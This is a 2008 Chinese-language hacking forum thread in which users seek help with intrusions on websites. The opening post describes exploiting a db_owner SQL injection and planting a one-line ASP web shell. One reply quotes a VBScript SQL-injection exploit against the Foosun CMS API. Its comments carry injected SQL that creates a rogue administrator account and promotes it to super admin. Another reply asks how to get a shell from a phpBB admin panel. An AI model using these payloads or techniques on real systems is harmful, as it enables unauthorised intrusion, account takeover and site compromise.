【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [讨论]入侵时遇到的阻碍 [打印本页]

作者: 虚竹 时间: 2008-7-20 18:02 标题: [讨论]入侵时遇到的阻碍

[讨论]入侵时遇到的阻碍
议题作者：落叶纷飞
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

刚在搞一个站，找到了一个db_owner的注入点，能列目录

找到WEB目录后，我马上备份了一句话到WEB目录

但是在备份出来的一句话却提示如下：

Active Server Pages 错误 'ASP 0116'

丢失脚本关闭分隔符

/admin/r.asp，行 66

Script 块缺少脚本关闭标记(%>)。

请问是不是过滤了“%>”啊？还是别的原因？该怎么解决啊？小鸡鸡重出江湖了~~！！
帖子119 精华0 积分3244 阅读权限100 性别男在线时间143 小时注册时间2007-7-31 最后登录2008-7-18 查看详细资料引用报告回复 TOP 少女暴富的隐秘（图）

dingking

荣誉会员

作者: dongdg 时间: 2008-7-20 18:02

EST上貌似有过讨论的帖子。你自己找找看吧。~~

昨天是明天的前天今天是昨天的明天明天是昨天的后天 ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男在线时间756 小时注册时间2005-6-17 最后登录2008-7-18 查看详细资料引用报告回复 TOP 赚更多的钱

xyf1987

晶莹剔透§烈日灼然

作者: p-o-t 时间: 2008-7-20 18:02

兄弟，借个地方发帖求助。
我很菜啊。请教大家：
这样的代码如何编译利用？？
引用:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username>'</username></body>"
strUrl = "http://demo.foosun.net/api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
'strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ';insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values('Tr4c3','83aa400af464c76d')-- 添加一个普通管理员Tr4c3,密码12345678
Rem ';update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name='Tr4c3'-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
帖子17 精华0 积分64 阅读权限40 在线时间19 小时注册时间2006-5-24 最后登录2008-7-17 查看详细资料引用报告回复 TOP 软件项目外包

magickingdom123

晶莹剔透§烈日灼然

作者: 下眩月 时间: 2008-7-20 18:02

我也借个地方兄弟
加急各位大哥们 PHPBB2的后台除了那个恢复数据的方法拿SHELL 还有其他的吗 ?如果用那个恢复数据库的方法找不到路径怎么办我访问那个DB下的文件也没有暴出来还有就是PHPBB3 如何从后台拿SHELL啊各位大哥给点指教谢谢啊 Q 764994885

帖子3 精华0 积分3 阅读权限40 在线时间0 小时注册时间2008-7-15 最后登录2008-7-18 查看详细资料引用报告回复 TOP

坏苹果

晶莹剔透§烈日灼然

作者: idol77 时间: 2008-7-20 18:02

遇到过这样的情况。。
MS是备份一句话的时候
把后面的一些%>给过滤了。。。反其道而行之

帖子11 精华0 积分19 阅读权限40 性别男在线时间7 小时注册时间2008-3-26 最后登录2008-7-18 查看详细资料引用报告回复 TOP 软件项目外包

angel

晶莹剔透§烈日灼然

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)